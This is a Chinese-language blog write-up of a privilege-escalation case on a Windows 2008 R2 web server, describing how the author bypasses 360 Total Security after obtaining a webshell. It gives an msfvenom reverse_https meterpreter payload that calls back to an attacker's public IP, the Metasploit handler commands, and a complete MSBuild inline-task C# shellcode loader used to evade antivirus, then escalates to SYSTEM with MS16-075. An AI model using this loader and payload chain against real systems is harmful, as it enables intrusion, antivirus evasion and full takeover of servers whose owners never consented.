绕过360安全卫士提权实战案例

简介: 绕过360安全卫士提权实战案例


0x01 前言

这个案例也是帮一个朋友看的,拿到Webshell权限后先对目标机器进行了简单的信息搜集,通过以下信息基本能确定目标机器上安装的有360安全卫士和宝塔Windows服务器运维管理面板,其中包括有宝塔安装的MySQL数据库和FileZilla Server软件等。

0x02 信息搜集

目标机器基本信息:

    支持脚本:ASP、PHP(不能执行命令)
    目标系统:Windows 2008 R2(IIS7.5)
    当前权限:iis apppool\**********.com
    开放端口:21、80、135、888、3306、6088、8888、12828(TermService)
    进程名称:360tray.exe、ZhuDongFangYu.exe、FileZilla_Server.exe、mysqld.exe、runserver.exe(btPanel)、task.exe(btTask)、python.exe、KuaiYun.exe(景安云自带插件)

    注:这里因为宝塔安装目录权限和随机密码安全机制的问题,D:\BtSoft\目录没有读取和写入权限,所以我们没办法直接利用目标机器上的MySQL、FileZilla Server来进行权限提升。



    0x03 实战提权过程

    (1) 笔者根据个人经验感觉可以利用MS16-075来进行权限提升,但是由于目标机器存在360安全卫士,在提权过程中遇到了不少问题,比如我们上传的Windows Payload、大部分提权EXP以及其它恶意程序在执行过程中都会被360安全卫士查杀,首次执行无回显,二次执行已被查杀。


    (2) web_delivery、hta_server模块生成的Payload也会被目标机器上的360安全卫士的Powershell进程防护拦截,mshta.exe可以被正常执行,但执行底层powershell.exe会被拦截。



    (3) 因为目标机器用的宝塔Windows服务器运维管理面板,默认安装的有Python环境,利用Python Payload可以成功得到会话,但是无法使用incognito扩展和MS16-075模块。

    (4) 使用php/meterpreter/reverse_tcp得到的会话功能有限,很多命令执行不了,同样无法使用incognito扩展和MS16-075模块。

    (5) 笔者最终是通过MSBuild.exe白名单成功得到目标机器Meterpreter会话,这里需要将x86会话进程注入到x64进程中去,然后再利用ms16_075_reflection_juicy本地权限提升模块成功拿到目标SYSTEM权限,其它白名单也就没有再去测试了。(留了个坑,自己去踩)0.0 !


      root@kali:~# msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_https LHOST=公网IP地址 LPORT=5555 -f csharp
      msf5 > use exploit/multi/handler
      msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
      msf5 exploit(multi/handler) > set lhost 公网IP地址
      msf5 exploit(multi/handler) > set lport 5555
      msf5 exploit(multi/handler) > exploit



      0x04 MSBuild白名单


        <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
                 <!-- This inline task executes shellcode. -->
                 <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
                 <!-- Save This File And Execute The Above Command -->
                 <!-- Author: Casey Smith, Twitter: @subTee -->
                 <!-- License: BSD 3-Clause -->
            <Target Name="Hello">
              <ClassExample />
            </Target>
            <UsingTask
              TaskName="ClassExample"
              TaskFactory="CodeTaskFactory"
              AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
              <Task>
                <Code Type="Class" Language="cs">
                <![CDATA[
            using System;
            using System.Runtime.InteropServices;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;
            public class ClassExample :  Task, ITask
            {         
              private static UInt32 MEM_COMMIT = 0x1000;          
              private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
              [DllImport("kernel32")]
                private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
                UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
              [DllImport("kernel32")]
                private static extern IntPtr CreateThread(            
                UInt32 lpThreadAttributes,
                UInt32 dwStackSize,
                UInt32 lpStartAddress,
                IntPtr param,
                UInt32 dwCreationFlags,
                ref UInt32 lpThreadId           
                );
              [DllImport("kernel32")]
                private static extern UInt32 WaitForSingleObject(           
                IntPtr hHandle,
                UInt32 dwMilliseconds
                );          
              public override bool Execute()
              {
                byte[] shellcode = new byte[] { 
        Insert Shellcode Here };
                  UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
              MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                  Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
                  IntPtr hThread = IntPtr.Zero;
                  UInt32 threadId = 0;
                  IntPtr pinfo = IntPtr.Zero;
                  hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
                  WaitForSingleObject(hThread, 0xFFFFFFFF);
                  return true;
              } 
            }     
                ]]>
                </Code>
              </Task>
            </UsingTask>
          </Project>


        相关文章
        |
        算法 安全 Java
        CobaltStrike windows7 无法上线
        CobaltStrike windows7 无法上线
        738 0
        |
        XML 安全 网络协议
        扫描工具 -- Sn1per Community Edition
        扫描工具 -- Sn1per Community Edition
        752 0
        扫描工具 -- Sn1per Community Edition
        |
        安全 网络安全
        技巧!通过360卫士白名单绕过查杀
        技巧!通过360卫士白名单绕过查杀
        2470 0
        |
        安全 网络协议 Java
        Apache Log4j远程代码执行漏洞详解与利用指南
        在尝试连接至192.168.0.1的9999端口时,采用base64编码可以进一步提升连接的安全性。通过将连接命令进行base64编码,然后在目标系统上执行解码操作,从而实现对9999端口的隐蔽且安全的连接。但请务必在合法且获得明确授权的前提下使用此方法,同时需严格遵循相关法规和道德规范。
        |
        开发框架 安全 .NET
        记一次绕过安全狗和360提权案例
        记一次绕过安全狗和360提权案例
        633 0
        |
        存储 缓存 数据库
        CodeFuse开源ModelCache大模型语义缓存
        CodeFuse 开源火热进行中!本次开源的是 ModelCache 大模型语义缓存,可大幅降低大模型应用的推理成本,提升用户体验。 CodeFuse-ModelCache 项目地址: https://github.com/codefuse-ai/CodeFuse-ModelCache
        1265 0
        |
        Kubernetes 安全 Cloud Native
        云上攻防-云原生篇&K8s安全-Kubelet未授权访问、API Server未授权访问
        本文介绍了云原生环境下Kubernetes集群的安全问题及攻击方法。首先概述了云环境下的新型攻击路径,如通过虚拟机攻击云管理平台、容器逃逸控制宿主机等。接着详细解释了Kubernetes集群架构,并列举了常见组件的默认端口及其安全隐患。文章通过具体案例演示了API Server 8080和6443端口未授权访问的攻击过程,以及Kubelet 10250端口未授权访问的利用方法,展示了如何通过这些漏洞实现权限提升和横向渗透。
        2832 0
        云上攻防-云原生篇&K8s安全-Kubelet未授权访问、API Server未授权访问
        |
        安全 PHP 缓存
        网站漏洞修复之Discuz X3.4远程代码执行漏洞
        近期在对discuz x3.4进行全面的网站渗透测试的时候,发现discuz多国语言版存在远程代码执行漏洞,该漏洞可导致论坛被直接上传webshell,直接远程获取管理员权限,linux服务器可以直接执行系统命令,危害性较大,关于该discuz漏洞的详情,我们来详细的分析看下。
        |
        安全 PHP 开发者
        phpcms上传导致getshell详解及案例
        通过上传功能实现getshell是攻击者常用的一种手段,针对PHP CMS或其他类型的CMS,开发者和管理员都应意识到安全风险,采取有效措施加以防范。只有不断更新知识库、审计网站安全和实施最佳安全实践,才能在这场永无止境的安全防御战中站稳脚跟。
        529 3
        |
        安全 搜索推荐 生物认证
        FOFA基础和使用技巧
        FOFA基础和使用技巧